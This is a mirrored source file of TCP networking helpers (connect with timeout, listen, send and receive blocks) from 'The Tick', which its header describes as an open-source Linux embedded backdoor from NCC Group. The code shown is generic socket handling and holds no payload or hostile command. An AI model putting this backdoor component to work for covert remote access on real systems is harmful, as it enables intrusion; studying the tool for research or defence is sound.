mirror of https://github.com/nccgroup/thetick.git
247 lines
7.3 KiB
C
247 lines
7.3 KiB
C
/*
|
|
* The Tick, a Linux embedded backdoor.
|
|
*
|
|
* Released as open source by NCC Group Plc - http://www.nccgroup.com/
|
|
* Developed by Mario Vilas, mario.vilas@nccgroup.com
|
|
* http://www.github.com/nccgroup/thetick
|
|
*
|
|
* See the LICENSE file for further details.
|
|
*/
|
|
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <netdb.h>
|
|
#include <stdlib.h>
|
|
#include <sys/time.h>
|
|
#include <fcntl.h>
|
|
#include <sys/param.h>
|
|
#include <errno.h>
|
|
|
|
#include "tcp.h"
|
|
|
|
// Helper function to create a blocking socket with keepalive.
|
|
int create_socket(int family)
|
|
{
|
|
int fd = socket(family, SOCK_STREAM, 0);
|
|
if (fd >= 0) {
|
|
int true_val = 1;
|
|
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &true_val, sizeof(true_val));
|
|
}
|
|
return fd;
|
|
}
|
|
|
|
// Helper function to connect a socket with a connection timeout.
|
|
int connect_socket(int fd, const struct sockaddr *sa, size_t count)
|
|
{
|
|
fd_set fdset;
|
|
struct timeval timeout;
|
|
int fdopts = 0;
|
|
int status = 0;
|
|
int so_error = -1;
|
|
socklen_t so_error_len = sizeof(so_error);
|
|
|
|
// Set the socket in non blocking mode before connecting.
|
|
fdopts = fcntl(fd, F_GETFL, 0);
|
|
fdopts = fdopts | O_NONBLOCK;
|
|
fcntl(fd, F_SETFL, fdopts);
|
|
|
|
// Begin connecting the socket. This will not block anymore.
|
|
connect(fd, sa, count);
|
|
|
|
// This will hold the connection timeout value.
|
|
FD_ZERO(&fdset);
|
|
FD_SET(fd, &fdset);
|
|
timeout.tv_sec = 10; // 10 second timeout
|
|
timeout.tv_usec = 0;
|
|
|
|
// Wait for connection or timeout.
|
|
status = select(fd + 1, NULL, &fdset, NULL, &timeout);
|
|
getsockopt(fd, SOL_SOCKET, SO_ERROR, &so_error, &so_error_len);
|
|
|
|
// Revert to blocking mode now that we're done waiting.
|
|
fdopts = fdopts & (~O_NONBLOCK);
|
|
fcntl(fd, F_SETFL, fdopts);
|
|
|
|
// Return the connected socket on success, -1 on error.
|
|
if(status != 1 || so_error != 0) {
|
|
return -1;
|
|
}
|
|
return fd;
|
|
}
|
|
|
|
// Connects to the given hostname and port. Supports IPv6 and IPv6.
|
|
// On error returns -1.
|
|
int connect_to_host(const char *hostname, int port)
|
|
{
|
|
struct hostent *he = NULL;
|
|
int fd = -1;
|
|
|
|
// First, let's resolve the hostname. If we don't want any DNS queries then
|
|
// an IP address can be specified instead of a hostname. This should support
|
|
// both IPv6 and IPv6 in all systems, hopefully, but your mileage may vary.
|
|
if ( (he = gethostbyname(hostname)) == NULL || he->h_addr == NULL) {
|
|
printf("Cannot resolve host %s\n", hostname);
|
|
return -1;
|
|
}
|
|
|
|
// Now we have different connection routines for IPv4 and IPv6.
|
|
if (he->h_addrtype == AF_INET) {
|
|
struct sockaddr_in sa;
|
|
memset((void *) &sa, 0, sizeof(sa));
|
|
memcpy((void *) &sa.sin_addr, (void *) he->h_addr, sizeof(sa.sin_addr));
|
|
sa.sin_family = AF_INET;
|
|
sa.sin_port = htons(port);
|
|
if ( ((fd = create_socket(AF_INET)) < 0) || (connect_socket(fd, (const struct sockaddr *) &sa, sizeof(sa)) < 0) ) {
|
|
printf("Cannot connect to %s:%d\n", hostname, port);
|
|
return -1;
|
|
}
|
|
} else if (he->h_addrtype == AF_INET6) {
|
|
struct sockaddr_in6 sa;
|
|
memset((void *) &sa, 0, sizeof(sa));
|
|
memcpy((void *) &sa.sin6_addr, (void *) he->h_addr, sizeof(sa.sin6_addr));
|
|
sa.sin6_family = AF_INET6;
|
|
sa.sin6_port = htons(port);
|
|
if ( (fd = create_socket(AF_INET6)) < 0 || connect_socket(fd, (const struct sockaddr *) &sa, sizeof(sa)) < 0 ) {
|
|
printf("Cannot connect to %s:%d\n", hostname, port);
|
|
return -1;
|
|
}
|
|
} else {
|
|
printf("Internal error\n");
|
|
return -1;
|
|
}
|
|
|
|
// We are connected, return the socket file descriptor.
|
|
return fd;
|
|
}
|
|
|
|
// Helper function to set up a listening socket.
|
|
// Bind address will usually be INADDR_ANY or INADDR_LOOPBACK.
|
|
// If port 0 is specified a random port will be opened and the
|
|
// actual port number that was chosen will be written back.
|
|
// Returns the socket on success or -1 on error.
|
|
// NOTE: currently only IPv4 is supported.
|
|
int listen_on_port(const char *bind_addr, int *port)
|
|
{
|
|
// Create a new socket.
|
|
int sock = create_socket(AF_INET);
|
|
if (sock < 0) {
|
|
printf("Internal error\n");
|
|
return -1;
|
|
}
|
|
|
|
// Attempt to reuse the port when binding if needed.
|
|
// Ignore any errors on this call.
|
|
int so_reuseaddr = 1;
|
|
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &so_reuseaddr, sizeof(so_reuseaddr));
|
|
|
|
// Bind the socket to the given address and port.
|
|
// NOTE: currently only IPv4 is supported.
|
|
struct sockaddr_in serv_addr;
|
|
memset(&serv_addr, 0, sizeof(serv_addr));
|
|
serv_addr.sin_family = AF_INET;
|
|
serv_addr.sin_port = htons(*port);
|
|
inet_aton(bind_addr, &serv_addr.sin_addr);
|
|
if (bind(sock, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) != 0) {
|
|
close(sock);
|
|
printf("Cannot bind to %s:%d\n", bind_addr, *port);
|
|
return -1;
|
|
}
|
|
|
|
// Get the port number back from the socket.
|
|
// That way if bind() picked a random port we know which one it is.
|
|
if (*port == 0) {
|
|
socklen_t serv_addr_len = sizeof(serv_addr);
|
|
if (getsockname(sock, (struct sockaddr*) &serv_addr, &serv_addr_len) != 0) {
|
|
close(sock);
|
|
printf("Internal error\n");
|
|
return -1;
|
|
}
|
|
*port = ntohs(serv_addr.sin_port);
|
|
if (*port == 0) {
|
|
close(sock);
|
|
printf("Internal error\n");
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
// Listen for incoming connections.
|
|
if (listen(sock, SOMAXCONN) < 0) {
|
|
close(sock);
|
|
printf("Cannot listen on port %d\n", *port);
|
|
return -1;
|
|
}
|
|
|
|
// Return the socket on success.
|
|
return sock;
|
|
}
|
|
|
|
// Sends a block of data over a TCP socket.
|
|
// Does not return until all data has been sent.
|
|
// Returns 0 on success or -1 if the connection was interrupted.
|
|
int send_block(int fd, const char *buf, size_t count)
|
|
{
|
|
ssize_t data_sent = -1;
|
|
|
|
while (count > 0) {
|
|
data_sent = write(fd, (const void *) buf, count);
|
|
if (data_sent < 0) {
|
|
printf("Connection interrupted!\n");
|
|
return -1;
|
|
}
|
|
buf = buf + data_sent;
|
|
count = count - data_sent;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
// Reads a block of data from a TCP socket.
|
|
// Does not return until all data has been read.
|
|
// Returns 0 on success or -1 if the connection was interrupted.
|
|
int recv_block(int sock, char *buf, size_t count)
|
|
{
|
|
ssize_t data_recv = -1;
|
|
|
|
while (count > 0) {
|
|
data_recv = recv(sock, (void *) buf, count, 0);
|
|
if (data_recv <= 0) {
|
|
printf("Connection interrupted!\n");
|
|
return -1;
|
|
}
|
|
buf = buf + data_recv;
|
|
count = count - data_recv;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
// Consume "count" bytes from socket "fd" and discard them.
|
|
// Returns the number of bytes discarded, or -1 on error.
|
|
ssize_t consume_extra_data(int fd, size_t count)
|
|
{
|
|
ssize_t bytes = 0;
|
|
ssize_t total = 0;
|
|
char buffer[256];
|
|
while (count != 0) {
|
|
bytes = recv(fd, (void *) &buffer, MIN(sizeof(buffer), count), 0);
|
|
if (bytes <= 0) {
|
|
return -1;
|
|
}
|
|
total = total + bytes;
|
|
count = count - (size_t) bytes;
|
|
}
|
|
return total;
|
|
}
|
|
|
|
// Close a TCP connection in a "nice" way.
|
|
void disconnect_tcp(int fd)
|
|
{
|
|
if (fd >= 0) {
|
|
shutdown(fd, SHUT_RD);
|
|
close(fd);
|
|
}
|
|
}
|